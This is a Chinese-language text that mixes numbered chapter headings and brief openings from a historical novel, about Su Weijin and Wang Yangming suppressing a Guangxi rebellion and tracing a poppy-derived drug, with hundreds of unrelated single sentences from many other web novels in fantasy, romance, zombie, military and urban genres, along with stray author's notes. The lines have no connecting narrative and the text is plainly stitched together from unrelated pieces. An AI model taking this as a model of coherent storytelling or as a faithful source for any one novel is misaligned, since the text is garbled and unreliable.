在他们三个冲过司空贯日的身体时,司空贯日的身上也是闪现出了血光。
“兄弟,你太敏感了吧,这么好的食物就扔了,太可惜了”,梁斌有些不赞成的说道。
再往前走,隐约可见起伏的地面越来越高,前方有一座座山峰耸立。和七界相比,这里的山峰更加高大,外形夸张,各种奇形怪状。有的是中间细两头粗,有的如同一柄斧头朝天,有的干脆就是一个巨大的圆环。
出云馆中都是大有前途的丹器师,能够进入其中,对于自身实力和潜力,都是一个强有力的证明。
王峰知道,对手离得太近,狙击手根本就不管用了,而子弹在自己的后边不断的飞过,肯定是这几个狙击手形成了一个射杀网络,只要进入这块区域的,不管是什么角度,都可以无死角的被击杀。
“不好意思,先生,这枚戒指是他们先看上的。”服务员倒还算是清楚先来后到。
既然如此,那新马克就有价值,有价值的东西可以流通,那我为什么不用?
这些人不过也就是听命行事而已,所以今日也只是一些痒痒粉,以后可能就保不准是什么东西了。
“再陪我一会儿嘛。”夏琳琳软糯的声音传来,张泽一下子就心软了下来。
可那姓韩的也莫太猖狂了,他是不能光明正大对他做些什么?可一旦出了皇宫,他死了还是活着,与他有什么关系?想到这里,楚景天嘴角扯出一抹冷笑。
重新踩在七区的土地上,晏时莫名亲切,明明这不是自己的家乡,现在确实归属感最强的地方。
顾正堂死死地抓着她的脚踝,这种按穴位涂药酒最忌讳就是中途缓手。
“莉莉不可能喜欢上斯内普的,司薰你要知道他们两人只是偶然相遇的平行线,可以互相瞭望却永远不能交集在一起,更不能变成一条线。”卢平忽然很认真的看着司薰的眼睛。
陈天睁开了眼睛看到眼前的兔子一副温顺的模样,他使劲摇了摇头又睁开了眼。
岑也闻言心里顿时泛起了嘀咕:他有什么重要的朋友,跟自己也认识?
埃尔默看着听自己说完花房里陷入沉默的斯内普,他感觉自己背后的冷汗随着他长时间的沉默如雨后春笋一般冒了出来。
第282章 医理护宗师,瑾心念旧事
夜色渐浓,运河之上波光粼粼,
唯余王阳明座船舱室内的灯火,
在墨色水面上投下一小片暖黄的光晕。
苏惟瑾回到自己船上,却并未即刻安歇,
白日里王阳明那几声压抑的轻咳,
以及烛光下略显灰败的面色,在他超频运转的大脑中反复闪现。
可惜。现在幻想都成了奢侈了。自己配不上,所以收起这份心思安安心心的发展酒店好了。
那么这李坎到底什么来头,为何作为一个普通人如此了解修行者的规矩,而且还对他的情况一清二楚?
虽然那金眼蛮猴眼下只是进化兽的初级阶段——灵兽,比鹰隼足足低了两个等级,但它已经明显的嗅到,那蛮猴身上有一股强烈吸引它的浓郁灵气。
。我去,这他么不是去学前班的车,绝对是一年级的,我们跟不上,要下车。
刹时间,各种颜色的鱼儿齐聚在颜玉清船边,颜色五色缤纷,好看极了。
而且,今天他收拾完屋子的时候,两百多斤的大理石桌子,竟然被他双手抱起来了。
“叮,我答应你的要求。明天开始,每天一个任务。不过,我会收回你的失败惩罚减轻福利。同时,系统的现金抽奖,也只能两天一抽。
目前中国政府处境困难,步履维艰,为了熬过这场长期的战争,整个国家都耗尽了资源,目前什么东西都缺,尤其是军火和军事物资,全部都要依靠外界的援助。
那些学生比扶风激动的多,仿佛打败霍今生的人是他们,而不是扶风。
金黄色的天空瞬间变暗,灰暗。没有云,却如黑云盖地,似是暴风雨即将来临的景象。
又等了一会儿,星喵偷偷摸摸的来到这里,一只不大的星猫看上去有些单薄,没有人会去想这么一只风一吹就要倒的猫究竟为什么会来这里。
某一刻,天空一声炸响,城主和林夕各自被相互击飞,犹如折翅的翼鸟从空中陨落。
他的胳膊恰好环绕在叶澜儿的锁骨前,如同锁链般将她锁在了怀中。
街道上吆喝卖丹药的,卖装备的,卖秘笈的,卖功法的,应有尽有,甚至还有人卖阵符的,这东西在新手村绝对是稀罕货,新手阶段甚至都没人能学会制符,更不要说这种结合阵法的阵符。
语罢,只见妖僧手中佛珠金光大展,顿时天地间被佛光笼罩,一股莫名梵音响起,让所有人心声都为之一阵。
“为什么,子铭你告诉我?”他又问一遍,眼里不再是温润如玉。
这时,他闭目休息,已经练了有的一段时间的武功,整个身体都暖洋洋的,特别的舒服,只不过,之前的一些行为,有了埋怨。
察觉到死亡危机,落月殇怒啸之中一闪出现在那落星辰身前,直接挥其手中长刀朝着落星辰直接劈斩而去,一道道血光冲出,带着可怕的杀机,直接绽放开来,狂暴的力量碰撞在虚无的长空之中,那一把刀直接碎裂开来。
九节杖上散发出玄妙的阴阳二气,张角双目清明的看着盒子,一挥手便将其收了起来。只不过眉宇之间却有一种阴沉之气久久不散,他实在是太了解这团黑气了,这家伙一旦再次现世那么毕竟给苍生带来血光大劫。
“你死我活你人类真卑鄙,如此不平等条约,骗取我等妖族先祖以血脉发誓,实在可耻。”白衣秀士一听怒道。
第283章 新法献辕门,瑾策动三军
船过梅关,便是岭南地界。
潮湿闷热的风裹挟着蕉叶与淤泥的气息扑面而来,与北方的干爽截然不同。
广州城外的码头,桅杆如林,舳舻相接,喧嚣鼎沸。
真的很好?这是什么样的话?对于君祺所说的话,不知道是她说话的语气还是其中所表达出来的意思,让黎响听着并不太舒服,总觉得有些别扭。
其实宁州也挺疼宁修的,只是毕竟娶了新的妻子,有了新的生活,不可能事事都随着宁修的性子。不知道从什么时候开始宁修就跟他渐渐疏远了,最后直接搬出去住,逢年过节的也不会回来。
“牛拉!”玛狃拉在巨树间穿梭,识破技能无时无刻不在扫视着周围,提防着雅典娜或者其他火箭队的埋伏。
与此同时,程来似乎在帮助他,又好像正常的规避风险,直接打压孟飞人力和租赁成本,让孟飞一时间难以适从。
一直坐在位置上没有动的林素衣此时依旧没有说话,只一双好看的眸子静静的看着张天毅。
一根烟抽完,萧博翰一个鲤鱼打挺,从床上下来,拿上毛巾,把手牌套在左手腕,关上门,沿箭头的标示,向浴池走去。
王妃口中的三婶是富顺王朱至深的正妃,朱至深则是朱平槿的嫡三叔。
府邸中,炼丹房,她在这里呆了几百年的世界,将自己积攒的药材都炼制成丹,每一样都留了不少,剩下的都用位面交易器卖给主城了。
随着赵萱同学被同学们所知的暴发户的消息,当然少不了太的SS级习武天赋,双S级,哪里像他F级的身体素质一般入学军训都会要了老命。
路上天越听越不是滋味,只觉得他主动跟着来,完全变成一跟班,完全没他什么事,纯属找不自在,唯一的安慰是天仙子说礼物只是为了感谢救命之恩这句话。
“我要变得更强!”崔斌露出自信的笑容,瞬间感觉有着无尽的动力。
卢城外,喊杀声不断,黑夜中到处可见的人山人海,曹操率领众将士与黄巾军在卢城外周旋。
其实萧村的很多将领都喜欢外出练兵,这种练兵的方式不光可以使士兵迅速形成战斗力。而且在练兵过程中缴获的战利品都会折价成金银,士兵获得两成的战利品,将军获得两成,其余的六成上交。
看起来不是单纯的因为体力,很大程度来源于内心的恐惧,恐惧可以使最强大的人瘫软。
摆脱了黑龙纠缠的血凤曌出现在凤凰族的另一颗星球上。感觉着星球上一颗颗凤凰树持续散发的那种气息和火焰能量,心旷神怡的让她精神抖擞。
徐白洁休息的时候徐自在还负责军团事务的处理,这方面的事情徐白洁也能胜任,如今她休息,自然是徐白洁接替。
她很优秀,一直想要找一个英雄一般的人物,可偌大的王国,还没有谁能入她的眼,不是王昊天不够优秀,而是达不到她的要求。
箱庭世界,是能够让吸血鬼也能享受阳光的奇迹之地,她翻了个身笑了一下,享受这柔软床铺。实际上,并不是这只吸血萝莉在懒床。虽然太阳已经升起,但空气中依然带着寒意。
第284章 军议析敌情,叛势超预期
船队沿西江逆流而上,过肇庆,入梧州,便算真正踏入了广西地界。
两岸风光骤变,雄奇取代了秀美。
喀斯特地貌的奇峰如笋,直插云霄,
郁郁葱葱的原始丛林覆盖山峦,
江水也变得湍急浑浊。
然而,这壮丽山河间,却弥漫着一股令人不安的死寂。
沿途村落,十室五空,断壁残垣上烟熏火燎的痕迹犹新。
可不管如何运转念力,进入水面的念力和念珠都没有任何动静,如同消失了一般。
离岛虽然不太相信,提督能够鼓舞什么士气,提督以前各种战前投降竖白旗的行为,给离岛留下的印象太深了…别说鼓舞士气,这次提督能认认真真的指挥作战,没有选择投降,已经让离岛很满意了。
这期间血二亲王当然不敢离开,也不敢抽手能量输出,他不容许有丝毫差错,必须始终维持血色盾牌的强度,因为盾牌底下就是第六龙妃和七龙子,是他日后掌权的根本,绝对不容有失。
所有的亲人离她而去的那一天,依然清晰的烙印在她的记忆中……她曾经也无数次尝试过去寻找自己的弟弟,可惜最后得到的结果却让她失望无比。
虽然剧情很平淡,但是架不住坦克和武装直升机一个接一个的出现,这些对于普通人来说,也是很新奇的东西。
一个房间里面塞了上百具血肉模糊,有身无头,有头无身的身躯,那场景,即使这房间相当巨大,也是相当的恐怖的。那血腥味浓郁得几乎让人直欲呕吐。
根本不会去考虑大楚警卫为何会跟他说这样的废话,更不会想象到,大楚警卫会把自己不设防的最初状态暴露在敌人眼皮底下。
梵青慧心中犹豫不定,看向身边的宁道奇,想要宁道奇给自己一点提示,却见宁道奇双目圆睁,一脸恐惧之色,似乎正在经历着最为恐怖的梦魇一般,身子不住打颤,浑身汗水直流。
“迈克尔,我现在收到了很多商业赞助的合同,你说我应该如何取舍?”杨朔问道。
因为他看到了一样东西,那是屋子里的一件装饰品,挂在坤国太子拓跋野背后的那张大弓。
以前两人分分合合,关系一直不稳定,所以这种隐秘的事情,苏木从来没有告诉过楊宓。
“此处是你的世界,你有办法让我们出去吗?”白枂翊直接点明中心。
陆振军还不知道什么时候回来,指望他买,还不如先试试看能不能借来用用。
巨树为一棵参天大树,直上云霄,树上没有任何新叶,看起来枯黄、没有营养。
“顺子!我说你们俩投降算了,省得一会儿输得难看。”苏木假装得意。
主持开始发言,简单的介绍参会的领导和艺人,欢迎前来的媒体记者们。
她抬眼往姜婉那边看去,东曙的这个公主来得可真是巧,这样的大场面竟然也被她赶上了,原本以为会看见敬妃错愕震惊的眼神,没想到这个时候,最镇定自若脱了护甲只管垂头拿指甲壳剥瓜子的人竟然也是她。
“雷神山那边现在怎么样了?”林烨第一时间想到雷神山的情况。
大家好奇的看了看董事长,他好像对李展南和许琪被抓这件事情一点也不惊讶,想想今天他让大家加班加点的让李展南和许琪把手上的工作全部都交接完,心里都有了一些猜测,但是都不敢说出来。
第285章 鹤岑显“神迹”,安民抚躁心
不知道过了多少的时间,也许很短,只有几分钟、十几分钟……可是她却觉得仿佛像是一个世纪似的,她听到了奔跑过来的诸多脚步声,听到了有人的喊声,救援的声音。
金风柏他们也是惊讶地看着庄逸和维斯两人,庄逸的身边竟然有公爵保护,这可是让金风柏他们吃了一惊。
“我们是质检局了。你们的饮料出了问题,我们现在要你的公司停止所有的业务,接受调查。”男子道。
“是不是真的,以后你就知道了。”诸怜梦道,她得好好的琢磨一下,下一步,她该如何走。
见到的以前的老人,哪个不是笑嘻嘻的跟她见礼,甚至以前想都不敢想的宝贝,她也有好几个,其中包括了皇后送给她的漂亮珍珠。
肖恒看了看时间,现在已经过了八点,对于一个醉酒,又放纵到大半夜才入睡的人而言,能在这个点起来,已经算是早的了。
跟在老村长的身后,看着手电光下的影子,我觉得,似乎有什么地方不对劲了,只是,具体是什么却又说不上来。
又是一年过去,有一天,有一个男人来到了这里,而且,大白惊骇地发现,那个男人居然会跟自己,长得一模一样。
焦磊一头撞在于天河身上,两人滚成一团,电梯门再次关闭,数字变幻往下行去。
这个庄逸已经知道怎么破,庄逸把精神力稍稍一收,再一次性施放出去,那一次无形的隔膜就被精神力给穿破了。
叶蓉在听见我说这句话的时候,眼神中是划过了瞬间的失落,不过她眼神中的失落也是转瞬即逝,并没有让我发现,而在她眼神中的失落消失的同时,叶蓉脸上是又恢复了她平时的媚态的样子。
贱贱还在上面拍了两下,贱贱知道我和沈林风住在一块,我就不敢和梁佳美再聊这种话题了,生怕贱贱听出来。
于是我便转头看向此时躺在我旁边的温槿,在看见温槿的时候,我目光不由自主的在她身上扫了一圈,在看见温槿迷人的身姿后我只感觉到一阵气血翻涌,忍不住吞了一口口水,同时暗骂自己无耻。
几位同学带着赵艳出去后,车厢里就只剩下我跟那位戴眼镜的男子。
酥晴回头给陈肖然一个妩媚的白眼,调皮地说:“生气呀,你生气人家也不怕,哼哼。”知道陈肖然疼她,她有恃无恐。
一只手马上摸到了我的头顶,那只手开始用力,抓住了我的头发,他抓的越来越紧,身子也沉了下来,越来越紧,有点疼。
虽然我自诩我现在和王彦东单挑也不一定会占下风,但是我打架除了身手以外,更多靠的还是随机应变的能力。
我想平静一点,所以设想了一些借口,但是我最后惊讶的发现我找不到,没有一个能让他接受的理由。
当然,如果说向罡天所表现出来的手段只是让众人崇拜的话,那只能说众人是想的太简单。
“你之前解释了你为什么逗逼,现在你可以讲一下为什么要高冷。”莫溪翻了翻白眼儿,真的很想给尹若君的好记性跪了。
生化病毒在工厂内瞬间爆发,初步估计,应该是靠空气传播的,而以现场的混乱气氛来看,怕是用不了多久,就能把在场的所有人都感染。
不过这个等待的时间也不能太长,因为对方肯定也有针对他们留在车里不出去的应对措施。
虽然因为新的身体从没有运动过,导致身体协调性和灵活性有些欠佳,但是这毕竟只是暂时性问题,从始至今,众人没有发现任何不可逆转的副作用。
张恒这才一愣,来到印度之后,自己的手机卡便彻底不能用了,而张恒也没有想过在印度这边办一张手机卡,来到印度一个多月,他一直是靠手下人互相通讯,然后报告给他的方式保持联系的。
胡培安黑着脸望过去,看到一片努力板住脸部肌肉的属下,他也不知道是哪个倒霉孩子笑出了声音。
当天晚上,一切都告一断落,当启明他们走进格兰芬多公共休息室时,里面突然爆发出一片欢呼和喧哗声。
能够震退安世耿,倒不是说铁手的实力就要高过安世耿,主要还是铁手打开安世耿一个出其不意,外加他的铁拳炙热无比,正好完克现在安世耿的冰寒之力,这才能有次效果。
所谓的雅典娜,只是一个有着雅典娜外表的巨大铜铸雕像而已。只见它左手持盾,右手拿矛,一袭长袍将身材衬托的风韵十足。
以前皇后家和高家关系好,但那时没有太大的存在感。然而随着这些年月过去,高方平的声望越来越大了,那么想欺负皇后家的那些人也就越来越得掂量着办,这就是趋势。
第286章 阳明定方略,攻心为上策
校场“神迹”的余温尚未散尽,督师行辕内,一场决定平叛走向的战略会议正在进行。
与会者除了王阳明、苏惟瑾、何鳌等中枢人员,
还有几位广西本地的资深文武,
以及刚刚被“神迹”鼓舞起几分士气的将领。
墙上悬挂的巨幅广西舆图,
法国维旺迪集团突然向迪斯尼公司发起收购,为了避免更多好莱坞大电影公司落入外国人之手,现在重新推动解除传媒整合禁令,敢在维旺迪与迪斯尼达成收购协议之前并不曾问题。
不过这次李枫倒是觉着郭正抽中可能性不大,实在是人太多,可当抽奖结果出来,李枫都懵逼了。直播间不少人都开始喊有黑幕了,甚至我是穷B都忍不住喊了。
试问,在这样一个仿佛人形炮台的能力下,枪支弹药什么的,有用吗?
王齐天神情紧张地盯着前方的丧尸,前方丧尸那泛着杀气的血红双眼,令王齐天不由地微微颤抖着,不过显然丧尸并没有发现旁边哄臭泥潭里竟藏着一个活生生的“食物”。
白尘高兴了一会儿,表情忽然变得无奈了起来,他环视着四周,神识中有一片无形的墙在隔绝着他与这片世界,他如果敢轻举妄动,必定会迎来毁灭xìng的打击。
先前那无数道攻击铺天盖地的杀过去,看似壮观,却根本就是一盘散沙。而如今凝聚在一起的时候,就真正拥有了让神魔也要恐惧,让天地都要颤抖,摧毁所有一切的资本。
不过,只有主云才完全抵抗住了爆炸,也就是皇帝所在的云朵。其它分散出去的云朵能量有限,但也自主散发力量,曾抵抗过一瞬。
人也不见了,陆菲菲转身又进去了,一进去看到守在门口的刘涛,刚才出来的太急,都没看到门口的人。
“呵呵~只不过是一粒不值几块元灵石的普通丹药罢了,你吃着伤势见好就行。”“多谢了。”高傲的莽大汉竟突然双手抱拳,朝着昊天躬身一拜。
然而,就在这个青年帮助朋友成为了部落共主的时候,没想到朋友竟然图谋青年漂亮的妻子,所以设了计谋,让青年在召集其他部落首领聚宴明松楼的时候,要以谋反之罪放火烧他们。
她不喜欢这样子的感觉,这大约便是权势的力量,如此的强横霸道。
听得范剑改口,降低了要求,众人脸色终于是好看了一些,心里只当范剑是个无知的乡下人,无上神功那是何等的存在,别说是救人一命,就算是把人祖宗十八代全救了一遍,也不会有人拿这种功法来报恩的。
上月加更任务②,由于本章说一直在整改,无法计算出总数,我估摸着肯定没超过500条,但没有证据,就当完成一半好了,本月加更三章。
他们目前已经将势力扩展到亚洲,几乎每个国家都有他们的分部。
下一刻猪妖惨嚎一声,身上已经多出两个血窟窿,它擅长的防御,并没有起到多大作用。
足足过了十几秒后,马露才“哼”了一声,抿了抿粉唇,眼神左右闪躲着,说。
但现在她不一样了,拥有了徐炎给她的东西,一定能帮助到徐炎。
战斗至此,妖族虽然更加疯狂,人族这边却再也没人死亡,只是挂彩的增加了很多。
第287章 小试牛刀锋,初战捷报传
等阮萌收拾好,李白开车把阮萌送到学校,轻轻吻了吻她的脸,把车停在学校外等她。
刚才还泪流满面伤心哭着的许愿,在得到李俊秀说的一个安全后,就立刻破涕为笑,拉着李俊秀的手,不停地追问着了。
蒋含被生生地冷落到了旁边,他天性敏|感,也觉得这里面有什么不对劲,可是就是他想破脑袋,他也想不出来这不对劲是因为一个Alpha对另一个Alpha有感觉。
正在对付妖蛇的那几个云隐寺和嵛光宗的弟子一共四人,只有一名云隐寺僧人是金丹期,其他都如云炽他们般是筑基期。沐宇真的加入,令他们压力顿减了一些。
许愿就知道蓝映尘不会多想的,可蓝映尘越是这样,她的心里却越得酸楚,越是不能放下了。
虽然身为鬼胎的冥心应该早一点儿成长起来,可是我还是不愿意让他过早的唠叨这样子的一面。毕竟,他还是个孩子。
让她意外的是,她跟律擎同行的时候,那些经理无一例外地都将他当成了何慕白。
“归墟宗洛敏风胜!”当宣判长老宣判后,嵛光宗的那名弟子恼怒地一摔手中物,也不管他人的呼叫,扬长而去。
云炽抬头看了一下他,他的眼里含着担忧与欣喜,少见的不再有轻浮和焦躁,倒多了些沉稳。
南宫灼华一身红衣,一头墨发只用一根红色绣着彼岸花花纹的发带束着,看起来十分的慵懒。
谢星收拾了帐篷和东西,立即就朝商队追过去,这商队用的是雪驼拖车,修为最高的也不过是聚源七层,很多甚至都是一些普通人,只是长年在外漂泊,显得很是彪悍而已。
贺星河听到对方喊自己无名之辈,气的身子发抖,显然这老魔点中了他的忌讳,一时间浑身燃烧起了火焰,直接化作万千火星,直接毫无顾忌的冲向了那身材巨大的老魔。
洪胜日早就感觉到随着洪家的再次崛起,有些人手不足。因而之前也跟洪禹商量过,送消息回去让老家人过来帮忙。
石磊考虑着,如何才能顺顺利利的灭掉三艘舰船。虽然动用红宝石激光炮,可以灭掉他们,但不可能做到无声无息的灭掉。
“好”烈腾沉吟了一番点头答应,这第五霸道比风云晋更棘手,烈腾不得不防备。
远处众人,全都近乎呆傻了,这一刻,所有的人几乎忘记了思考,死死盯着眼前一幕。
就这样,老爷子打今天早晨起床开始,得着机会就会刺激刘云轩一顿。
越是看着莫幼晴的样子,谢星心里对那谢逼迫她的家伙越是愤恨。他下定决心,这一生无论如何也要将她照顾好,因为她不但是他心中的那一份守护,还是他在这里唯一的熟人,或者说是亲人。
“这个侦察班,还能够坚持多久?”石磊问了一个关键的问题,如果这个侦察班,处于随时随地的危险之中,哪怕是钢铁号也来不及救援。
有人说这有什么,只要一日为奴,生杀予夺,就都在主子的手上,他对你好对你不好,都不过是一时兴起,高高捧起重重落下,打一棒再喂一颗糖,越是看你在他手心里团团乱转,他就越是高兴。
“他是來找本王的。”西门哲偏偏见不得黛晓对莫轻寒从容的笑意,他可以为黛晓对他的第一次笑而动容,也可以为黛晓对莫轻寒一次次的毫不吝啬的笑意而吃味,所以他的这句话是脱口而出,断了莫轻寒要找黛晓的念头。
“让你不离不弃,又不是让你不理不睬。”唐梦嘀咕了一句,还是主动示好,上前挽着凌司夜的手臂。
整堵墙就这么静静地裂开来,然而,看不见的却见内里的数道石墙,一样的速度,一样的形态,亦是同时裂开。
宣天锣鼓声中忽然夹进一阵英长的嗡鸣巨响,众神眼前的天境云层顿时向两旁疾疾散去,天空中速速降下了一座硕大无朋、层层叠叠、不停旋转着的黄金餐盘山。
傅承爵几乎感觉不到胃里面是空是满,他只是径自从管家身边走过,不是上楼,而是离开傅家。
可是他也看出来,今天冷少辰是在电视上当着全国人民的面,拒绝了靳思瑗。
“那么。南王府里的人还真沒见过世面。”苏染画语带嘲讽的道。
白筱榆说是去洗手间,其实一路上,她都在找寻着熟悉的身影,当年她为了认祖归宗,挺身而出,结果在她被抛到众矢之的的时候,所谓的家人,却抛下她,独子离开。
“宋妍妍,刚才睡觉睡得很舒服嘛!自己舒服了还不够,还要制造噪音,让大家都知道你睡觉了,是吧?”贺玫玖尖利的声音,现在就像针一样,朝着宋妍妍的耳朵传过来。
“当篮球运动员可惜了!”恩地出来感叹大发之外没话说了,她写歌很慢的,现在知道姜浩然写歌是一气呵成的时候很羡慕。
嘴上说着,心里却想,她能不能收回刚才的话,姑娘性情变的开朗活泼她是高兴,但变了后的姑娘总是捉弄人就不太妙了,你能想象的到,前一秒正开心,下一秒就被噎住的感觉么,绿绮表示,她已经家常便饭了。
“瑶瑶你愿意跟爷爷住吗?”老爷子转头看向萧瑶,神情平静,但萧瑶能感觉到老爷子是希望自己留下的。
守在门口的歌儿语儿见此瞪大眼,正君打扮成这样干嘛呢?一时间竟然忘记了行礼。
李蓉善每一句话里都是讽刺,说程元恒说不过,就只能把话语移到夏筠琳的身上。
最后这句话,他再也不能完全控制住情绪,牙齿里蹦出来的恨意,一字一字的吐出来。
妘婠手中蓄势待发的攻击,不是朝着云枕月击去,而是朝着惊喜交加的看着云枕月的紫嫣击去。
第288章 审讯得口供,毒源终确认
初战的硝烟尚未完全散去,俘虏营里便弥漫起另一种紧张气氛。
几十名被生擒的叛军,尤其是那几个在战场上曾短暂“狂化”的小头目,被单独隔离看管。
岳飞的死,绝对不是什么秦侩是内奸,也不是皇帝要他死。这是朝廷上下共同的选择。
根据所有武术生的判断,刘图昀与李景空才是最强华将,其余三位华将则是稍逊一筹。即便韩东显露恐怖至极的灵感,楚达烨也不认为韩东能够媲美刘图昀。
日月神教教主对叶天已经没有了当年的杀机,眼中却是多出了一些惊骇。
但是因为几乎所有着名的厂商都操控在任天堂手里,所以这也导致了任天堂的主机游戏质量很高,天然就博得玩家的认可和追捧。
它到死都不明白它为什么会死。那份录像,它也是看过的。最多也就是打的它们解除附身,它们不应该会死。而且它们也与这里的人交过手,他们确实杀不死自己,当它与白玉堂交手,就更确信了这点。
“什么意思?”中年人下意识的问了一句,还没等反应过来,那一根戳大山胸膛的食指被大山闪电般的抓在了手里猛地向反关节方向用力一折,屋子里都能听到清脆的咔嚓声。
凌昊闻言,也微微一笑,看到烛光下,晏如烟犹如笼罩在黄昏当中,眼波潋滟间,露出娇俏的笑靥。不知道为什么,这一幕忽然带给了他有些异样的熟悉感,他似乎也从晏如烟的眼底,感受到了一丝特别的情意。
因为这一剑不仅仅是沈石手上聚集的剑气,空间四面八方,人族各气同样也在聚集,生气。
这两个炼道者自然认得叶天,也知道叶天的厉害,是以他们谨慎的看着叶天。
法力在凝聚。一股无形巨力猛的笼罩住沈石全身,这股巨力无比强大,比那一开始的水压还要惊人。
可被捏着手腕又有什么意思?苏念安懒得再同秦慕宸说话,无论她说什么,秦慕宸都只会是那一句话。可那句话真假,下一次她会让他看的更加清楚。
毕竟,关于哈拉沙漠发生的异象,突然有大量天地灵气溢出,荒漠变绿洲,这样的奇事,两人都非常好奇,肯定是想要探探究竟的。
也就在此时,莫非凡身化三影,从不同位置,表情漠然的强杀而来。
总裁和总裁夫人居然双双倒地,保镖们是吓丢了魂,而且看到裴诗茵胸前的血渍更是惊慌。
容蕊轻语,直接撕裂虚空,脚底花影弥漫,带着笑天两者没入虚空之中。
刘宸疼过初开始那阵后,也不知疼痛减轻了,还是麻木了,他躺倒在椅子里,浑身提不起一点劲,像是全身的力气都被抽光了,悲痛的气息蔓延至他整个身体,就是得知不是要命的毒药,他的悲痛也没有减轻一点。
“打你妈的酱油。”荣铮被梁博远刺激大发,袖子一捋,没见他怎么动,下一秒就出现在了梁博远的跟前,揪住他的领子狂揍起来。
在不知不觉中,过去十天光景,五行剑诀域下的天棺有着粉末飘洒,其上的纹络图腾开始消失。
稍后,行人散去,衙门关闭,伍德从地上爬起来,抹着眼泪,身体晃晃悠悠地离开。
第289章 暗夜潜幽谷,巧计取实证
审讯得出的口供,如同拼图找到了最关键的一块。
但苏惟瑾深知,空有口供不足以服众,
更不足以支撑后续可能涉及朝堂的攻讦(谁知道何鳌之流会不会反咬一口诬陷他们屈打成招?),
他需要铁证——那“神勇士”药丸的原料,活生生的“英雄花”!
要是放在以前他醒过来会自己玩,可今天也不知道是怎么回事,一醒过来就直接扯着嗓子大声的哭了起来,让原本已经深陷欲望中不可自拔的江可心瞬间醒了过来。
只来的及说这一个字,他刚转身准备把手里吃着的东西给放下的时候,就听到了关门上,再转过身来时,玄关的位置哪里还有江可心。
“这个深奥的问题你可别问我,我又不是界主,怎么可能会知道。。。”杰士邦说道。
“你少唬我,没那么简单,到底还为了什么?”婷婷不依不饶地要问到底。
胖子幸运的回来了,不过胖子身上也有一种让我反感的气息,一年前,他离开的时候,我还没有这种感觉,但此时我也不知是怎么了,就是很反感,甚至不愿意跟他面对面的说话。
顾念欢率先走出了雅间,容芊芊看着她的背影,哼了一声,毫无顾忌的将轻纱拽起来,极有兴味的看着下头唱戏的戏子。
终于,随着宿营地方向传来隆隆的巨响,大地强烈地震动也瞬间到达。
“正是可惜了,我以为她马上就要被你给整死了。”戴芙遗憾不已。
众人见此,直接翻了个白眼,他们看的清楚,那猴子也就是回光返照一下而已,睁开眼睛看到图奇后就瞳孔就散了。
他自然也想要保住与卿卿的孩儿,只若是不能,他便唯有放弃其中之一了。卿卿若是永远醒不过来,那定是不能安然的生下这孩子。
但是是营销号发出来的,对方只说有人匿名爆料,究竟是谁爆料的,却咬死不说。
只是他们晚餐前还在谈论着慕皓晨,一时半会儿想要不去想这事儿都难。
这两道光芒被迅速卷进了树洞之中,大树顿时一闪一闪,原本已经弱化的七彩光芒渐渐变得明亮起来。
叶宁宁的视线在“你在圣者之魂中种下真名”这行系统提示上聚焦了几秒。
他自己心里知道,作为何家少主,他将来是不可能以药门弟子的身份出现的,更何况,药门的传承,他一样都不会。
“圣武堂已经和我打过了,天道盟和琼仙岛的人,还有人来么?”江余朗声问道。方才和鬼武的一斗,没让他觉得疲惫,反而让他觉得精神了不少。所谓越战越勇,便是如此。
后来还是薛义峰出手灭了那个降头师,救回了乌莲,乌莲这才芳心暗许,想要跟着薛义峰。
“停车,”木清扬正气愤着呢,忽然又想起来,如果此时他不去见赫连晟。
她来到剧组这段时间,一直在看剧本背台词,连化妆的时候都在看,骆妤十分满意她的自觉性,就连导演都忍不住夸她十分敬业。
一旁的景涵还有他的妈妈唐岚看着这乱糟糟的场面,不知道该说什么好,景元博一个眼神过去,让他们不要说话,母子二人对看一眼,抿了抿唇,坐在一边。
李霜姒跟在李霜妍身后进了坤宁宫,此时李皇后已经面上带笑了。
第290章 献策定良谋,深心埋远线
夜色深沉,督师行辕的书房内却灯火通明。
苏惟瑾携带着那份至关重要的油布包和竹管,连夜求见王阳明。
当那几株依旧带着泥土气息、花朵妖艳的罂粟植株,
王局长用眼神示意了一下,法医等人很有眼力见地暂时出去了,他也没有例外。停尸间便只剩下姜锦跟蒋郁。
今天也只有四千,今天真切地感觉到春节这段时间的忙碌,各种事情太多了,今天一整天都在外面“奔波”,所以二月的保底更新是四千,不过我能多写就多写一点啦,爱你们,么么。
明明自己最为完美的剧本是要将苏音收入囊中,给她个三强的席位尝一个甜头,再从她身上盘剥着赚大钱,而游子诗呢,淘汰就好了,后续坐个冷板凳,听话,就推一推赚钱,不听话,那就榨干价值就好了。
他的任何攻击,都难以威胁到对方,不过还是远不如碎星,打击要害,波士可多拉还是有所忌惮的。
有几人是真的信了姜锦的画,也开始抱着怀疑的目光来审视这幅画了。
姜锦倏地睁开眼睛,床边的顾寒倾却完全没有被吓到,反而像是早就预料到这一刻,握着她的手收紧。
“老夫看尔并不是蛮夷之人,也不是满族之人,有何时如此着急向北前去?”老者冷冷的说道。
“茵茵,真的没事了吗?”两人出了医院回到车里,傅景词也终于是忍不住开口问道。
其实华超正在打,他们每天的时间都是很宝贵的,按理说是不可能配合跑男节目组的,但恒大上面下了口令,他们也不得不屈服。
惨败,便会使人怀疑自己。这对于职业选手而言,是最大的心魔。
“无妨,孙大夫说了,你这病好得了,就这几日,已是好了大半了,不信,你瞧瞧”,立春顺手将一旁早就预备好的铜镜取过让着她仔细看了一番。
“梅姑娘,你醒了”,屋内很明亮,烧了旺旺的炭火,立春一直守在床前,这几日给她擦洗给她换药都只自己一力承担,好在,她总算是从鬼门关逃了回来。
说难听点,真的是一个任人拿捏的软柿子,可是自己却又无可奈何。
没想到卫子霖和沈宗易会来,而今天打算招待沈宗易,既然本人在这里,郑云彤和许默颜也就不着急了,也不在意时间。
姚贝迪一怔,下一秒,灰溜溜的去旁边抽出一张餐巾纸,递给他。
“你之前说过的话,该不会不算数了吧?”抬起头,看向赵八两,胡灵儿有些可怜兮兮的说道。
但是呢,毕竟有外人看着呢,这里又是老秦家,若真是他们兄弟五个打起来了,整个赵家打起来了,就会成为整个云岭的一大笑料了。
黑虎被蓝田的天生猛力一冲,也忍不住退了几步,正好有一名宝鸡城的武师正在附近和土匪砍杀,黑虎伸手一抓,这武师知道他的厉害,拿起兵器急忙阻挡。
一阵阵爆响,一颗颗黑木,连根拔起,魔藤漫天崩裂,八翼龙蛟像是无头苍蝇似的,痛苦至极的盲目乱撞。
想也知道,她平时肯定没操心过这样的事情,可今年,他特别想与她一起张罗着过个年。
第291章 火焚鬼哭坳 智取罂粟种
腊月的桂西山地,寒气浸骨。
